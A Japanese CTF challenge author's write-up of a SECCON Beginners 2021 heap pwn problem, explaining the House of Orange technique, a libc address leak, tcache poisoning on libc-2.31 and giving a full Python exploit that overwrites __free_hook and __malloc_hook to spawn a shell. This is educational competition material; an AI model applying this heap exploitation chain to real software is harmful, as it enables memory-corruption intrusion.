はじめに
Beginner's CTF Online 2021に1問だけ出した問題のwriteupを書きます。 今年はSECCON Beginnersには新しいメンバーが入り、pwnを作ってくれる人も入ったのでHard問だけ担当しました。 SECCON Beginner'sのHard問は2年前がなんかtcacheいじるやつ(しふくろ大先生の問題)、1年前がなんかunsorted binいじるやつ(しふくろ大先生の問題)でした。 ヒープ問だけなかったのでそれは確定だったのですが、難しいヒープ問は作るのも解くのも嫌なので、簡単だけど知識が無いと解けないタイプにしました。 去年難化したとの声を受けて今年はかなり難易度控えめにできたと思います。
ここで参加者のみなさんに大切なお知らせ:
writeupは読むだけでなく、必ず手元で試しましょう。(ただしこの問題は虚無なので試さなくて良いです。)
参考書の解答読むだけで数学得意になるわけないだろ!
TL;DR
@satoki00 top chunkのサイズの下位12-bitが壊れてなければassertionエラーは起きない!
問題概要
問題文の通り、free
相当の処理がコード中に一切現れません。
脆弱性は明らかにHeap Overflowですが、チャンクをfree
できない上、このプログラムがヒープに確保するデータにポインタは含まれないので、一見無理そうに見えます。
ここで、私がpwnを始めた数年前よりもさらに数年前から存在したと言い伝えられている太古のテクニック(名をばHouse of Orangeとぞ言ひ伝へたる)があります。
ある程度勉強しているpwnerにとっては常識なのでCTF常連pwnerには特に学びが無かったと思います。
解けなかった方はこのwriteupを読んで「ふーん、あっそ」って思ってください。実世界のexploitでは一切役に立ちませんので。
原理
今回のような場合malloc
を利用してfree
相当の処理が実現できます。
malloc
がfree
するというのは奇妙に聞こえますが、ソースコードを読んでみると割と自然な処理です。
if (old_size >= MINSIZE) { set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE); set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ)); set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA); _int_free (av, old_top, 1); }
mallocのソースコード読みたくないのでここで解説はしません。 と思って調べたら昔の私がちゃんと読んでたみたいです。偉い。そして一切記憶にない。
やっていることは、topチャンクのサイズより大きいサイズでmallocされるとmmapしないといけないけど、残ったtopチャンクがもったいないからfreeして後から使えるようにしよう、ということです。
だそうです。 でも普通にやると新しく確保された領域にかぶさるように普通に旧topから確保されるので、topのサイズを小さくします。 つまり連続したheap領域が確保できなかったかのように見せかける必要があります。 (経験則で書いてるのでちゃんと知りたい人はmalloc.cを読むと良いと思います。)
解法
freeの仕方
↑の記事に書いてある通りなんですが、topチャンクのサイズを書き換えて小さくし、それより大きいサイズでmallocすれば旧topがfreeされます。 通常のfreeなので、サイズに応じてtcacheやunsorted binに出荷されます。
アドレスリーク
unsorted binとして繋げればmain arenaのアドレスがリークできますね。
任意アドレス書込
tcacheに繋ぐこともできます。 libc-2.31ではカウンタが適切でないとnextを書き換えてもダメなので、2回freeする必要があります。 あとはHeap Overflowでnextを書き換えれば任意アドレス書込が得られますね。
exploit
なんかRSPの関係でone gadgetが動かない気がしたので__malloc_hook
と__free_hook
でchainしてますが、しふくろ先生がテストしてくれた時のexploitでは片方だけでできてたっぽいので、本当はもっと少ない回数でシェルが取れます。
from ptrlib import * import os PORT = os.getenv("CTF4B_PORT", "9999") HOST = os.getenv("CTF4B_HOST", "localhost") def new(index, size): sock.sendlineafter("> ", "1") sock.sendlineafter(": ", str(index)) sock.sendlineafter(": ", str(size)) def edit(index, data): sock.sendlineafter("> ", "2") sock.sendlineafter(": ", str(index)) sock.sendlineafter(": ", data) def show(index): sock.sendlineafter("> ", "3") sock.sendlineafter(": ", str(index)) return sock.recvlineafter(": ") libc = ELF("./libc-2.31.so") sock = Socket(HOST, int(PORT)) # shrink top new(0, 0x18) edit(0, b'A' * 0x18 + p64(0xd51)) new(1, 0xd48) # link to unsortedbin # leak libc edit(0, b'A' * 0x20) libc_base = u64(show(0)[0x20:]) - libc.main_arena() - 0x60 logger.info("libc = " + hex(libc_base)) libc.set_base(libc_base) edit(0, b'A' * 0x18 + p64(0xd31)) new(2, 0xd18) # consume unsortedbin # shrink top edit(1, b'B' * 0xd48 + p64(0x2b1)) new(3, 0x2a8) # link to tcache # shrink top new(4, 0xa98) edit(4, b'C' * 0xa98 + p64(0x2b1)) new(5, 0x2a8) # link to tcache # tcache poisoning payload = b'C' * 0xa98 + p64(0x291) payload += p64(libc.symbol('__free_hook')) edit(4, payload) new(6, 0x288) new(7, 0x288) edit(7, p64(libc_base + 0x54f89)) # shrink top new(8, 0xa98) edit(8, b'D' * 0xa98 + p64(0x2b1)) new(9, 0x2a8) # link to tcache # shrink top new(10, 0xa98) edit(10, b'E' * 0xa98 + p64(0x2b1)) new(11, 0x2a8) # link to tcache # tcache poisoning payload = b'F' * 0xa98 + p64(0x291) payload += p64(libc.symbol('__malloc_hook')) edit(10, payload) new(12, 0x288) new(13, 0x288) edit(13, p64(libc.symbol('free') + 8)) # win new(14, 0x18) sock.interactive()
その他
以下の問題を作問チェックしました。 作問チェック時に書いたwriteupも載せておきますが、修正が入って変更された問題もあるので注意してください。
- [pwn] rewriter → writeup残してません。return address書き換えるだけ。
- [pwn] beginners_rop
- [pwn] uma_catch
- [pwn] 2021_emulator
- [rev] only_read → writeup残してません。cmp読むだけ。
- [rev] children
- [rev] please_not_trace_me
- [rev] be_angry
- [rev] firmware → writeup残してません。binwalkでELF取り出して読むだけ。
- [misc] Mail_Address_Validator
- [misc] fly → 検閲済み
- [misc] depixelization
- [misc] writeme → writeup残してません。pythonのobject書き換えるだけ。
pwnは全部易しめで特に口出しすることはありませんでした。しかしemulator解かれなさすぎでは?バグ?
revも全部易しめで特に口出しすることはありませんでした。非想定解をいくつか指摘しましたが、修正が難しかったのと、初心者向けだし拘らなくていっか、ということでだいたい放置してたはず。
miscもfly以外は典型的なので易しいと思っていて、writemeがなぜここまで解かれていないのか運営一同理解不能でした。去年のreadmeはもっと解いてくれたのに...... :pien:
おわりに
いかがだったでしょうか? 私はHouse of .+が嫌いということが改めて分かりました!
宣伝ですが、旧InterKosenCTFの名前が変わりCakeCTF 2021としてこの夏開催予定です。 Beginners CTFのEasy以上で、Medium〜Hardくらいの難易度が中心なので、今回まぁまぁ解けたという皆さんは奮ってご参加ください。